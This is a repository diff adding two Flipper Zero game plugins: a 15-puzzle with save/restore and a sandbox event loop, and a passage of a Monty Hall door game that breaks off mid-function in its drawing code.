[Original link](https://github.com/x27/flipperzero-game15)
Logic game [Wikipedia](https://en.wikipedia.org/wiki/15_puzzle)
![Game screen](images/Game15.png)
![Restore game](images/Game15Restore.png)
![Popoup](images/Game15Popup.png)
applications/plugins/game15/application.fam
+12
View File
@@ -0,0 +1,12 @@
App(
appid="Game15",
name="Game 15",
apptype=FlipperAppType.EXTERNAL,
entry_point="game15_app",
cdefines=["APP_GAME15"],
requires=["gui"],
stack_size=1 * 1024,
fap_icon="game15_10px.png",
order=30,
fap_category="Games",
)
applications/plugins/game15/game15.c
+468
View File
@@ -0,0 +1,468 @@
#include <furi.h>
#include <gui/gui.h>
#include <notification/notification.h>
#include <notification/notification_messages.h>
#include <storage/storage.h>
#include "sandbox.h"
#define FPS 20
#define CELL_WIDTH 10
#define CELL_HEIGHT 8
#define MOVE_TICKS 5
#define KEY_STACK_SIZE 16
#define SAVING_DIRECTORY "/ext/apps/Games"
#define SAVING_FILENAME SAVING_DIRECTORY "/game15.save"
#define POPUP_MENU_ITEMS 2
typedef enum {
DirectionNone,
DirectionUp,
DirectionDown,
DirectionLeft,
DirectionRight
} direction_e;
typedef enum { ScenePlay, SceneWin, ScenePopup } scene_e;
typedef struct {
uint8_t cell_index;
uint8_t zero_index;
uint8_t move_direction;
uint8_t move_ticks;
} moving_cell_t;
typedef struct {
uint16_t top_record;
scene_e scene;
uint16_t move_count;
uint32_t tick_count;
uint8_t board[16];
} game_state_t;
static game_state_t game_state;
static NotificationApp* notification;
static moving_cell_t moving_cell;
static uint8_t loaded_saving_ticks;
static uint8_t popup_menu_selected_item;
static const char* popup_menu_strings[] = {"Continue", "Reset"};
static uint8_t keys[KEY_STACK_SIZE];
static uint8_t key_stack_head = 0;
static const uint8_t pic_cells[] = {
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0x30, 0xfc, 0x38, 0xfc, 0x30, 0xfc, 0x30, 0xfc, 0x30, 0xfc, 0x30, 0xfc, 0x30, 0xfc, 0x30, 0xfc,
0x78, 0xfc, 0xcc, 0xfc, 0xcc, 0xfc, 0x60, 0xfc, 0x30, 0xfc, 0x18, 0xfc, 0x0c, 0xfc, 0xfc, 0xfc,
0x78, 0xfc, 0xcc, 0xfc, 0xcc, 0xfc, 0x60, 0xfc, 0xc0, 0xfc, 0xcc, 0xfc, 0xcc, 0xfc, 0x78, 0xfc,
0x70, 0xfc, 0x78, 0xfc, 0x68, 0xfc, 0x6c, 0xfc, 0x6c, 0xfc, 0xec, 0xfc, 0xfc, 0xfc, 0x60, 0xfc,
0xfc, 0xfc, 0x0c, 0xfc, 0x0c, 0xfc, 0x7c, 0xfc, 0xc0, 0xfc, 0xcc, 0xfc, 0xcc, 0xfc, 0x78, 0xfc,
0x78, 0xfc, 0x0c, 0xfc, 0x0c, 0xfc, 0x7c, 0xfc, 0xcc, 0xfc, 0xcc, 0xfc, 0xcc, 0xfc, 0x78, 0xfc,
0xfc, 0xfc, 0xc0, 0xfc, 0xc0, 0xfc, 0xc0, 0xfc, 0xc0, 0xfc, 0xc0, 0xfc, 0xc0, 0xfc, 0xc0, 0xfc,
0x78, 0xfc, 0xcc, 0xfc, 0xcc, 0xfc, 0x78, 0xfc, 0xcc, 0xfc, 0xcc, 0xfc, 0xcc, 0xfc, 0x78, 0xfc,
0x78, 0xfc, 0xcc, 0xfc, 0xcc, 0xfc, 0xcc, 0xfc, 0xf8, 0xfc, 0xc0, 0xfc, 0xc0, 0xfc, 0x78, 0xfc,
0xe6, 0xfd, 0x37, 0xff, 0x36, 0xff, 0x36, 0xff, 0x36, 0xff, 0x36, 0xff, 0x36, 0xff, 0xe6, 0xfd,
0x8c, 0xfd, 0xce, 0xfd, 0x8c, 0xfd, 0x8c, 0xfd, 0x8c, 0xfd, 0x8c, 0xfd, 0x8c, 0xfd, 0x8c, 0xfd,
0xe6, 0xfd, 0x37, 0xff, 0x36, 0xff, 0x86, 0xfd, 0xc6, 0xfc, 0x66, 0xfc, 0x36, 0xfc, 0xf6, 0xff,
0xe6, 0xfd, 0x37, 0xff, 0x36, 0xff, 0x86, 0xfd, 0x06, 0xff, 0x36, 0xff, 0x36, 0xff, 0xe6, 0xfd,
0xc6, 0xfd, 0xe7, 0xfd, 0xa6, 0xfd, 0xb6, 0xfd, 0xb6, 0xfd, 0xb6, 0xff, 0xf6, 0xff, 0x86, 0xfd,
0xf6, 0xff, 0x37, 0xfc, 0x36, 0xfc, 0xf6, 0xfd, 0x06, 0xff, 0x36, 0xff, 0x36, 0xff, 0xe6, 0xfd,
};
static const uint8_t pic_digits[] = {
0xf0, 0xf2, 0xf2, 0xf2, 0xf2, 0xf0, 0xf9, 0xf8, 0xf9, 0xf9, 0xf9, 0xf0, 0xf0, 0xf2, 0xf3,
0xf1, 0xfc, 0xf0, 0xf0, 0xf3, 0xf1, 0xf3, 0xf2, 0xf0, 0xf3, 0xf1, 0xf2, 0xf2, 0xf0, 0xf3,
0xf0, 0xfc, 0xf0, 0xf3, 0xf2, 0xf0, 0x00, 0x0c, 0x00, 0x02, 0x02, 0x00, 0x00, 0x03, 0x03,
0x03, 0x03, 0x03, 0x00, 0x02, 0x00, 0x02, 0x02, 0x00, 0x00, 0x02, 0x00, 0x03, 0x03, 0x00,
};
static const uint8_t pic_top[] = {11, 4, 0x88, 0xf8, 0xad, 0xfa, 0xad, 0xf8, 0x8d, 0xfe};
static const uint8_t pic_move[] =
{17, 4, 0x2e, 0x2a, 0xfe, 0xa4, 0xaa, 0xff, 0xaa, 0x2a, 0xff, 0x2e, 0x36, 0xfe};
static const uint8_t pic_time[] = {15, 4, 0xa8, 0x8b, 0x2d, 0xe9, 0xad, 0xca, 0xad, 0x8b};
static const uint8_t pic_puzzled[] = {
0xff, 0xcf, 0x00, 0xf3, 0xff, 0xfc, 0x3f, 0x03, 0xc0, 0xff, 0xf3, 0x0f, 0xdc, 0xff, 0xcf,
0x00, 0xf3, 0xff, 0xfc, 0x3f, 0x03, 0xc0, 0xff, 0xf3, 0x0f, 0xdc, 0x03, 0xcc, 0x00, 0x03,
0x38, 0x00, 0x0e, 0x03, 0xc0, 0x00, 0x30, 0x30, 0xdc, 0x03, 0xcc, 0x00, 0x03, 0x1c, 0x00,
0x07, 0x03, 0xc0, 0x00, 0x30, 0x30, 0xdc, 0xff, 0xcf, 0x00, 0x03, 0x0e, 0x80, 0x03, 0x03,
0xc0, 0xff, 0x33, 0xc0, 0xdc, 0xff, 0xcf, 0x00, 0x03, 0x07, 0xc0, 0x01, 0x03, 0xc0, 0xff,
0x33, 0xc0, 0xdc, 0x03, 0xc0, 0x00, 0x83, 0x03, 0xe0, 0x00, 0x03, 0xc0, 0x00, 0x30, 0xc0,
0xd0, 0x03, 0xc0, 0x00, 0xc3, 0x01, 0x70, 0x00, 0x03, 0xc0, 0x00, 0x30, 0xc0, 0xd0, 0x03,
0xc0, 0xff, 0xf3, 0xff, 0xfc, 0x3f, 0xff, 0xcf, 0xff, 0xf3, 0xff, 0xdc, 0x03, 0xc0, 0xff,
0xf3, 0xff, 0xfc, 0x3f, 0xff, 0xcf, 0xff, 0xf3, 0xff, 0xdc};
static void key_stack_init() {
key_stack_head = 0;
}
static uint8_t key_stack_pop() {
return keys[--key_stack_head];
}
static bool key_stack_is_empty() {
return key_stack_head == 0;
}
static int key_stack_push(uint8_t value) {
if(key_stack_head != KEY_STACK_SIZE) {
keys[key_stack_head] = value;
key_stack_head++;
return key_stack_head;
} else
return -1;
}
static bool storage_game_state_load() {
Storage* storage = furi_record_open(RECORD_STORAGE);
File* file = storage_file_alloc(storage);
uint16_t bytes_readed = 0;
if(storage_file_open(file, SAVING_FILENAME, FSAM_READ, FSOM_OPEN_EXISTING))
bytes_readed = storage_file_read(file, &game_state, sizeof(game_state_t));
storage_file_close(file);
storage_file_free(file);
furi_record_close(RECORD_STORAGE);
return bytes_readed == sizeof(game_state_t);
}
static void storage_game_state_save() {
Storage* storage = furi_record_open(RECORD_STORAGE);
if(storage_common_stat(storage, SAVING_DIRECTORY, NULL) == FSE_NOT_EXIST) {
if(!storage_simply_mkdir(storage, SAVING_DIRECTORY)) {
return;
}
}
File* file = storage_file_alloc(storage);
if(storage_file_open(file, SAVING_FILENAME, FSAM_WRITE, FSOM_CREATE_ALWAYS)) {
storage_file_write(file, &game_state, sizeof(game_state_t));
}
storage_file_close(file);
storage_file_free(file);
furi_record_close(RECORD_STORAGE);
}
static void set_moving_cell_by_direction(direction_e direction) {
moving_cell.move_direction = DirectionNone;
moving_cell.zero_index = 0xff;
for(int i = 0; i < 16; i++) {
if(!game_state.board[i]) {
moving_cell.zero_index = i;
break;
}
}
if(moving_cell.zero_index == 0xff) return;
uint8_t x = moving_cell.zero_index % 4;
uint8_t y = moving_cell.zero_index / 4;
moving_cell.cell_index = moving_cell.zero_index;
if(direction == DirectionUp && y < 3)
moving_cell.cell_index += 4;
else if(direction == DirectionDown && y > 0)
moving_cell.cell_index -= 4;
else if(direction == DirectionLeft && x < 3)
moving_cell.cell_index++;
else if(direction == DirectionRight && x > 0)
moving_cell.cell_index--;
else
return;
moving_cell.move_ticks = 0;
moving_cell.move_direction = direction;
}
static bool is_board_has_solution() {
uint8_t i, j, inv = 0;
for(i = 0; i < 16; ++i)
if(game_state.board[i])
for(j = 0; j < i; ++j)
if(game_state.board[j] > game_state.board[i]) ++inv;
for(i = 0; i < 16; ++i)
if(game_state.board[i] == 0) inv += 1 + i / 4;
return inv % 2 == 0;
}
static void board_init() {
for(int i = 0; i < 16; i++) {
game_state.board[i] = (i + 1) % 16;
}
do {
for(int i = 15; i >= 1; i--) {
int j = rand() % (i + 1);
uint8_t tmp = game_state.board[j];
game_state.board[j] = game_state.board[i];
game_state.board[i] = tmp;
}
} while(!is_board_has_solution());
}
static void game_init() {
game_state.scene = ScenePlay;
game_state.move_count = 0;
game_state.tick_count = 0;
moving_cell.move_direction = DirectionNone;
board_init();
key_stack_init();
popup_menu_selected_item = 0;
}
static bool is_board_solved() {
for(int i = 0; i < 16; i++)
if(((i + 1) % 16) != game_state.board[i]) return false;
return true;
}
static void game_tick() {
switch(game_state.scene) {
case ScenePlay:
game_state.tick_count++;
if(loaded_saving_ticks) loaded_saving_ticks--;
if(moving_cell.move_direction == DirectionNone && !key_stack_is_empty()) {
set_moving_cell_by_direction(key_stack_pop());
if(moving_cell.move_direction == DirectionNone) {
notification_message(notification, &sequence_single_vibro);
key_stack_init();
}
}
if(moving_cell.move_direction != DirectionNone) {
moving_cell.move_ticks++;
if(moving_cell.move_ticks == MOVE_TICKS) {
game_state.board[moving_cell.zero_index] =
game_state.board[moving_cell.cell_index];
game_state.board[moving_cell.cell_index] = 0;
moving_cell.move_direction = DirectionNone;
game_state.move_count++;
}
if(is_board_solved()) {
notification_message(notification, &sequence_double_vibro);
if(game_state.move_count < game_state.top_record || game_state.top_record == 0) {
game_state.top_record = game_state.move_count;
storage_game_state_save();
}
game_state.scene = SceneWin;
}
}
break;
case SceneWin:
if(!key_stack_is_empty()) game_init();
break;
case ScenePopup:
if(!key_stack_is_empty()) {
switch(key_stack_pop()) {
case DirectionDown:
popup_menu_selected_item++;
popup_menu_selected_item = popup_menu_selected_item % POPUP_MENU_ITEMS;
break;
case DirectionUp:
popup_menu_selected_item--;
popup_menu_selected_item = popup_menu_selected_item % POPUP_MENU_ITEMS;
break;
case DirectionNone:
if(popup_menu_selected_item == 0) {
game_state.scene = ScenePlay;
notification_message(notification, &sequence_single_vibro);
} else if(popup_menu_selected_item == 1) {
notification_message(notification, &sequence_single_vibro);
game_init();
}
break;
}
}
break;
}
}
static void draw_cell(Canvas* canvas, uint8_t x, uint8_t y, uint8_t cell_number) {
canvas_set_color(canvas, ColorBlack);
canvas_draw_rframe(canvas, x, y, 18, 14, 1);
canvas_set_color(canvas, ColorBlack);
canvas_draw_xbm(canvas, x + 4, y + 3, CELL_WIDTH, CELL_HEIGHT, pic_cells + cell_number * 16);
}
static void board_draw(Canvas* canvas) {
for(int i = 0; i < 16; i++) {
if(game_state.board[i]) {
if(moving_cell.move_direction == DirectionNone || moving_cell.cell_index != i)
draw_cell(canvas, (i % 4) * 20 + 7, (i / 4) * 16 + 1, game_state.board[i]);
if(moving_cell.move_direction != DirectionNone && moving_cell.cell_index == i) {
uint8_t from_x = (moving_cell.cell_index % 4) * 20 + 7;
uint8_t from_y = (moving_cell.cell_index / 4) * 16 + 1;
uint8_t to_x = (moving_cell.zero_index % 4) * 20 + 7;
uint8_t to_y = (moving_cell.zero_index / 4) * 16 + 1;
int now_x = from_x + (to_x - from_x) * moving_cell.move_ticks / MOVE_TICKS;
int now_y = from_y + (to_y - from_y) * moving_cell.move_ticks / MOVE_TICKS;
draw_cell(canvas, now_x, now_y, game_state.board[i]);
}
}
}
}
static void number_draw(Canvas* canvas, uint8_t y, uint32_t value) {
uint8_t x = 121;
while(true) {
uint8_t digit = value % 10;
canvas_draw_xbm(canvas, x, y, 4, 6, pic_digits + digit * 6);
x -= 5;
value = value / 10;
if(!value) break;
}
}
static void plate_draw(
Canvas* canvas,
uint8_t y,
const uint8_t* header,
uint32_t value,
bool dont_draw_zero_value) {
canvas_set_color(canvas, ColorBlack);
canvas_draw_rbox(canvas, 92, y, 35, 19, 2);
canvas_set_color(canvas, ColorBlack);
canvas_draw_xbm(canvas, 95, y + 3, header[0], header[1], &header[2]);
if((!value && !dont_draw_zero_value) || value) number_draw(canvas, y + 10, value);
}
static void info_draw(Canvas* canvas) {
plate_draw(canvas, 1, pic_top, game_state.top_record, true);
plate_draw(canvas, 22, pic_move, game_state.move_count, false);
plate_draw(canvas, 43, pic_time, game_state.tick_count / FPS, false);
}
static void gray_screen(Canvas* const canvas) {
canvas_set_color(canvas, ColorWhite);
for(int x = 0; x < 128; x += 2) {
for(int y = 0; y < 64; y++) {
canvas_draw_dot(canvas, x + (y % 2 == 1 ? 0 : 1), y);
}
}
}
static void render_callback(Canvas* const canvas) {
canvas_set_color(canvas, ColorWhite);
canvas_draw_box(canvas, 0, 0, 128, 64);
if(game_state.scene == ScenePlay || game_state.scene == SceneWin ||
game_state.scene == ScenePopup) {
canvas_set_color(canvas, ColorBlack);
board_draw(canvas);
info_draw(canvas);
if(loaded_saving_ticks && game_state.scene != ScenePopup) {
canvas_set_color(canvas, ColorWhite);
canvas_draw_rbox(canvas, 20, 24, 88, 16, 4);
canvas_set_color(canvas, ColorBlack);
canvas_draw_rframe(canvas, 20, 24, 88, 16, 4);
canvas_draw_str_aligned(canvas, 64, 32, AlignCenter, AlignCenter, "Restore game ...");
}
}
if(game_state.scene == SceneWin) {
gray_screen(canvas);
canvas_draw_box(canvas, 7, 20, 114, 24);
canvas_set_color(canvas, ColorBlack);
canvas_draw_box(canvas, 8, 21, 112, 22);
canvas_set_color(canvas, ColorWhite);
canvas_draw_box(canvas, 10, 23, 108, 18);
canvas_set_color(canvas, ColorBlack);
canvas_draw_xbm(canvas, 14, 27, 100, 10, pic_puzzled);
} else if(game_state.scene == ScenePopup) {
gray_screen(canvas);
canvas_set_color(canvas, ColorWhite);
canvas_draw_rbox(canvas, 28, 16, 72, 32, 4);
canvas_set_color(canvas, ColorBlack);
canvas_draw_rframe(canvas, 28, 16, 72, 32, 4);
for(int i = 0; i < POPUP_MENU_ITEMS; i++) {
if(i == popup_menu_selected_item) {
canvas_set_color(canvas, ColorBlack);
canvas_draw_box(canvas, 34, 20 + 12 * i, 60, 12);
}
canvas_set_color(canvas, i == popup_menu_selected_item ? ColorWhite : ColorBlack);
canvas_draw_str_aligned(
canvas, 64, 26 + 12 * i, AlignCenter, AlignCenter, popup_menu_strings[i]);
}
}
}
static void game_event_handler(GameEvent const event) {
if(event.type == EventTypeKey) {
if(event.input.type == InputTypePress) {
switch(event.input.key) {
case InputKeyUp:
key_stack_push(DirectionUp);
break;
case InputKeyDown:
key_stack_push(DirectionDown);
break;
case InputKeyRight:
key_stack_push(DirectionRight);
break;
case InputKeyLeft:
key_stack_push(DirectionLeft);
break;
case InputKeyOk:
if(game_state.scene == ScenePlay) {
game_state.scene = ScenePopup;
key_stack_init();
} else
key_stack_push(DirectionNone);
break;
case InputKeyBack:
if(game_state.scene == ScenePopup) {
game_state.scene = ScenePlay;
} else {
storage_game_state_save();
sandbox_loop_exit();
}
break;
default:
break;
}
}
} else if(event.type == EventTypeTick) {
game_tick();
}
}
static void game_alloc() {
key_stack_init();
notification = furi_record_open(RECORD_NOTIFICATION);
notification_message_block(notification, &sequence_display_backlight_enforce_on);
}
static void game_free() {
notification_message_block(notification, &sequence_display_backlight_enforce_auto);
furi_record_close(RECORD_NOTIFICATION);
}
int32_t game15_app() {
game_alloc();
game_init();
loaded_saving_ticks = 0;
if(storage_game_state_load()) {
if(game_state.scene != ScenePlay)
game_init();
else
loaded_saving_ticks = FPS;
} else
game_init();
sandbox_init(
FPS, (SandboxRenderCallback)render_callback, (SandboxEventHandler)game_event_handler);
sandbox_loop();
sandbox_free();
game_free();
return 0;
}
applications/plugins/game15/game15_10px.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 152 B

applications/plugins/game15/images/Game15.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 2.0 KiB

applications/plugins/game15/images/Game15Popup.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 2.2 KiB

applications/plugins/game15/images/Game15Restore.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 2.1 KiB

applications/plugins/game15/sandbox.c
+93
View File
@@ -0,0 +1,93 @@
#include <furi.h>
#include <gui/gui.h>
#include "sandbox.h"
FuriMessageQueue* sandbox_event_queue;
FuriMutex** sandbox_mutex;
ViewPort* sandbox_view_port;
Gui* sandbox_gui;
FuriTimer* sandbox_timer;
bool sandbox_loop_processing;
SandboxRenderCallback sandbox_user_render_callback;
SandboxEventHandler sandbox_user_event_handler;
static void sandbox_render_callback(Canvas* const canvas, void* context) {
UNUSED(context);
if(furi_mutex_acquire(sandbox_mutex, 25) != FuriStatusOk) return;
if(sandbox_user_render_callback) sandbox_user_render_callback(canvas);
furi_mutex_release(sandbox_mutex);
}
static void sandbox_input_callback(InputEvent* input_event, void* context) {
UNUSED(context);
GameEvent event = {.type = EventTypeKey, .input = *input_event};
furi_message_queue_put(sandbox_event_queue, &event, FuriWaitForever);
}
static void sandbox_timer_callback(void* context) {
UNUSED(context);
GameEvent event = {.type = EventTypeTick};
furi_message_queue_put(sandbox_event_queue, &event, 0);
}
void sandbox_loop() {
sandbox_loop_processing = true;
while(sandbox_loop_processing) {
GameEvent event;
FuriStatus event_status = furi_message_queue_get(sandbox_event_queue, &event, 100);
if(event_status != FuriStatusOk) {
// timeout
continue;
}
furi_mutex_acquire(sandbox_mutex, FuriWaitForever);
if(sandbox_user_event_handler) sandbox_user_event_handler(event);
view_port_update(sandbox_view_port);
furi_mutex_release(sandbox_mutex);
}
}
void sandbox_loop_exit() {
sandbox_loop_processing = false;
}
void sandbox_init(
uint8_t fps,
SandboxRenderCallback u_render_callback,
SandboxEventHandler u_event_handler) {
sandbox_user_render_callback = u_render_callback;
sandbox_user_event_handler = u_event_handler;
sandbox_event_queue = furi_message_queue_alloc(8, sizeof(GameEvent));
sandbox_mutex = furi_mutex_alloc(FuriMutexTypeNormal);
sandbox_view_port = view_port_alloc();
view_port_draw_callback_set(sandbox_view_port, sandbox_render_callback, NULL);
view_port_input_callback_set(sandbox_view_port, sandbox_input_callback, NULL);
sandbox_gui = furi_record_open(RECORD_GUI);
gui_add_view_port(sandbox_gui, sandbox_view_port, GuiLayerFullscreen);
if(fps > 0) {
sandbox_timer = furi_timer_alloc(sandbox_timer_callback, FuriTimerTypePeriodic, NULL);
furi_timer_start(sandbox_timer, furi_kernel_get_tick_frequency() / fps);
} else
sandbox_timer = NULL;
}
void sandbox_free() {
if(sandbox_timer) furi_timer_free(sandbox_timer);
gui_remove_view_port(sandbox_gui, sandbox_view_port);
view_port_enabled_set(sandbox_view_port, false);
view_port_free(sandbox_view_port);
if(furi_mutex_acquire(sandbox_mutex, FuriWaitForever) == FuriStatusOk) {
furi_mutex_free(sandbox_mutex);
}
furi_message_queue_free(sandbox_event_queue);
}
applications/plugins/game15/sandbox.h
+24
View File
@@ -0,0 +1,24 @@
#pragma once
#include <input/input.h>
typedef enum {
EventTypeTick,
EventTypeKey,
} EventType;
typedef struct {
EventType type;
InputEvent input;
} GameEvent;
typedef void (*SandboxRenderCallback)(Canvas* canvas);
typedef void (*SandboxEventHandler)(GameEvent event);
void sandbox_init(
uint8_t fps,
SandboxRenderCallback render_callback,
SandboxEventHandler event_handler);
void sandbox_loop();
void sandbox_loop_exit();
void sandbox_free();
applications/plugins/montyhall/Monty.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 1.9 KiB

applications/plugins/montyhall/application.fam
+12
View File
@@ -0,0 +1,12 @@
App(
appid="MontyHall",
name="Monty Hall",
apptype=FlipperAppType.EXTERNAL,
entry_point="montyhall_game_app",
cdefines=["APP_MONTYHALL_GAME"],
requires=["gui"],
stack_size=1 * 1024,
order=185,
fap_icon="Monty.png",
fap_category="Games",
)
applications/plugins/montyhall/monteyhall.c
+450
View File
@@ -0,0 +1,450 @@
#include <furi.h>
#include <gui/gui.h>
#include <gui/elements.h>
#include <gui/icon_i.h>
#include <input/input.h>
#include <stdlib.h>
#define SCREEN_WIDTH 128
#define SCREEN_HEIGHT 64
//AUTHOR: https://github.com/DevMilanIan
//I_DoorClosed_22x35 sourced from VideoPoker/poker.c -> I_CardBack22x35
//PRs for syntax, formatting, etc can get you listed as a contributor :)
// CONCEPT: one of three doors will have a car while the other two have only a goat
// randomize a winning door each round, let the player choose a first selection
// reveal a goat door and allow the player to keep or switch their selection
// based on the Monty Hall problem from Let's Make a Deal
//void draw_goat(Canvas* canvas, int x, int y) { TODO }
void draw_car(Canvas* canvas, int x, int y) {
// x -> leftmost pixel, y -> topmost pixel
// could be in another file or a pixel array but idk how to so feel free to PR
canvas_draw_dot(canvas, x + 1, y + 4);
canvas_draw_dot(canvas, x + 1, y + 5);
canvas_draw_dot(canvas, x + 2, y + 3);
canvas_draw_dot(canvas, x + 2, y + 6);
canvas_draw_dot(canvas, x + 3, y + 3);
canvas_draw_dot(canvas, x + 3, y + 6);
canvas_draw_dot(canvas, x + 4, y + 2);
canvas_draw_dot(canvas, x + 4, y + 3);
canvas_draw_dot(canvas, x + 4, y + 6);
canvas_draw_dot(canvas, x + 4, y + 7);
canvas_draw_dot(canvas, x + 5, y + 1);
canvas_draw_dot(canvas, x + 5, y + 2);
canvas_draw_dot(canvas, x + 5, y + 3);
canvas_draw_dot(canvas, x + 5, y + 5);
canvas_draw_dot(canvas, x + 5, y + 8);
canvas_draw_dot(canvas, x + 6, y);
canvas_draw_dot(canvas, x + 6, y + 1);
canvas_draw_dot(canvas, x + 6, y + 3);
canvas_draw_dot(canvas, x + 6, y + 5);
canvas_draw_dot(canvas, x + 6, y + 8);
canvas_draw_dot(canvas, x + 7, y);
canvas_draw_dot(canvas, x + 7, y + 3);
canvas_draw_dot(canvas, x + 7, y + 6);
canvas_draw_dot(canvas, x + 7, y + 7);
canvas_draw_dot(canvas, x + 8, y);
canvas_draw_dot(canvas, x + 8, y + 3);
canvas_draw_dot(canvas, x + 8, y + 6);
canvas_draw_dot(canvas, x + 9, y);
canvas_draw_dot(canvas, x + 9, y + 3);
canvas_draw_dot(canvas, x + 9, y + 6);
canvas_draw_dot(canvas, x + 10, y);
canvas_draw_dot(canvas, x + 10, y + 3);
canvas_draw_dot(canvas, x + 10, y + 6);
canvas_draw_dot(canvas, x + 11, y);
canvas_draw_dot(canvas, x + 11, y + 1);
canvas_draw_dot(canvas, x + 11, y + 3);
canvas_draw_dot(canvas, x + 11, y + 6);
canvas_draw_dot(canvas, x + 12, y + 1);
canvas_draw_dot(canvas, x + 12, y + 2);
canvas_draw_dot(canvas, x + 12, y + 3);
canvas_draw_dot(canvas, x + 12, y + 6);
canvas_draw_dot(canvas, x + 12, y + 7);
canvas_draw_dot(canvas, x + 13, y + 2);
canvas_draw_dot(canvas, x + 13, y + 3);
canvas_draw_dot(canvas, x + 13, y + 5);
canvas_draw_dot(canvas, x + 13, y + 8);
canvas_draw_dot(canvas, x + 14, y + 1);
canvas_draw_dot(canvas, x + 14, y + 2);
canvas_draw_dot(canvas, x + 14, y + 5);
canvas_draw_dot(canvas, x + 14, y + 8);
canvas_draw_dot(canvas, x + 15, y);
canvas_draw_dot(canvas, x + 15, y + 1);
canvas_draw_dot(canvas, x + 15, y + 6);
canvas_draw_dot(canvas, x + 15, y + 7);
canvas_draw_dot(canvas, x + 16, y);
canvas_draw_dot(canvas, x + 16, y + 1);
canvas_draw_dot(canvas, x + 16, y + 2);
canvas_draw_dot(canvas, x + 16, y + 3);
canvas_draw_dot(canvas, x + 16, y + 4);
canvas_draw_dot(canvas, x + 16, y + 5);
}
const uint8_t _I_DoorClosed_22x35_0[] = {
0x01, 0x00, 0x23, 0x00, 0xfe, 0x7f, 0xe1, 0xf0, 0x28, 0x04, 0x43, 0xe3, 0xff,
0x91, 0xea, 0x75, 0x52, 0x6a, 0xad, 0x56, 0x5b, 0xad, 0xd5, 0x4a, 0x80, 0xbe,
0x05, 0xf0, 0x2f, 0x81, 0x7c, 0x0b, 0x45, 0x32, 0x2c, 0x91, 0x7c, 0x8c, 0xa4,
};
const uint8_t* _I_DoorClosed_22x35[] = {_I_DoorClosed_22x35_0};
const Icon I_DoorClosed_22x35 =
{.width = 22, .height = 35, .frame_count = 1, .frame_rate = 0, .frames = _I_DoorClosed_22x35};
typedef struct {
bool isOpen;
bool isSelected; // picked in RoundOne, RoundThree
bool isWinningDoor; // randomized in RoundOne
} Door;
typedef struct {
Door doors[3];
bool didSelect; // false in RoundOne -> RoundTwo when true
bool didSwitch; // determined in RoundFour
} DoorState;
typedef enum {
RoundOne, // all doors closed, player selects a door when ready
RoundTwo, // door selected, reveal one of the remaining two (can go straight to GameOver)
RoundThree, // player can keep or switch their selection
RoundFour, // reveal all doors
GameOver // score has been updated, allow restart
} GameState;
typedef struct {
GameState game_state;
DoorState door_state;
uint16_t score;
} MontyState;
static void montyhall_game_init_state(MontyState* monty_state) {
if(!monty_state->score) {
monty_state->score = 0;
}
monty_state->door_state.didSelect = false;
for(int i = 0; i < 3; i++) {
monty_state->door_state.doors[i].isOpen = false;
monty_state->door_state.doors[i].isSelected = false;
monty_state->door_state.doors[i].isWinningDoor = false;
}
monty_state->game_state = RoundOne;
int doorIndex = random() % 3;
monty_state->door_state.doors[doorIndex].isWinningDoor = true;
}
void selectDoor(MontyState* monty_state, int doorIndex) {
if(monty_state->game_state == RoundOne) {
monty_state->door_state.doors[doorIndex].isSelected = true;
if(monty_state->door_state.doors[doorIndex].isSelected) {
monty_state->door_state.didSelect = true;
monty_state->game_state = RoundTwo;
}
} else if(monty_state->game_state == RoundThree) {
for(int i = 0; i < 3; i++) {
monty_state->door_state.doors[i].isSelected = false;
}
monty_state->door_state.doors[doorIndex].isSelected = true;
}
}
int getRandomDoorIndex() {
int randomDoorIndex = random() % 3;
return randomDoorIndex;
}
void revealBadDoor(MontyState* monty_state) {
int doorToReveal = getRandomDoorIndex();
while(!monty_state->door_state.doors[doorToReveal].isOpen) {
if(!(monty_state->door_state.doors[doorToReveal].isSelected ||
monty_state->door_state.doors[doorToReveal].isWinningDoor)) {
monty_state->door_state.doors[doorToReveal].isOpen = true;
} else {
doorToReveal = getRandomDoorIndex();
}
}
}
void revealDoors_updateScore(MontyState* monty_state) {
for(int i = 0; i < 3; i++) {
monty_state->door_state.doors[i].isOpen = true;
if(monty_state->door_state.doors[i].isWinningDoor &&
monty_state->door_state.doors[i].isSelected) {
monty_state->score++;
}
}
}
static void draw_top(Canvas* canvas, const MontyState* monty_state) {
char buffer[16];
snprintf(buffer, sizeof(buffer), "Cars: %u", monty_state->score);
canvas_draw_str_aligned(canvas, 2, 8, AlignLeft, AlignBottom, buffer);
if(monty_state->game_state == RoundThree) {
canvas_draw_str_aligned(
canvas, SCREEN_WIDTH - 5, 8, AlignRight, AlignBottom, "Opened a decoy door");
}
}
static void draw_doors(Canvas* canvas, const MontyState* monty_state) {
// {| 16 | <22> | 15 | <22> | 15 | <22> | 16 |} = SCREEN_WIDTH
if(monty_state->door_state.doors[0].isOpen) {
if(monty_state->door_state.doors[0].isWinningDoor) {
canvas_draw_frame(canvas, 16, 12, 22, 35);
draw_car(canvas, 18, 26);
} else {
canvas_draw_frame(canvas, 16, 12, 22, 35);
canvas_draw_str(canvas, 18, 34, "Goat");
}
} else {
canvas_draw_icon(canvas, 16, 12, &I_DoorClosed_22x35);
}
if(monty_state->door_state.doors[1].isOpen) {
if(monty_state->door_state.doors[1].isWinningDoor) {
canvas_draw_frame(canvas, 53, 12, 22, 35);
draw_car(canvas, 55, 26);
} else {
canvas_draw_frame(canvas, 53, 12, 22, 35);
canvas_draw_str(canvas, 55, 34, "Goat");
}
} else {
canvas_draw_icon(canvas, 53, 12, &I_DoorClosed_22x35);
}
if(monty_state->door_state.doors[2].isOpen) {
if(monty_state->door_state.doors[2].isWinningDoor) {
canvas_draw_frame(canvas, 90, 12, 22, 35);
draw_car(canvas, 92, 26);
} else {
canvas_draw_frame(canvas, 90, 12, 22, 35);
canvas_draw_str(canvas, 92, 34, "Goat");
}
} else {
canvas_draw_icon(canvas, 90, 12, &I_DoorClosed_22x35);
}
}
static void draw_bottom(Canvas* canvas, const MontyState* monty_state) {
if(monty_state->game_state == RoundOne) {
elements_button_left(canvas, "Left");
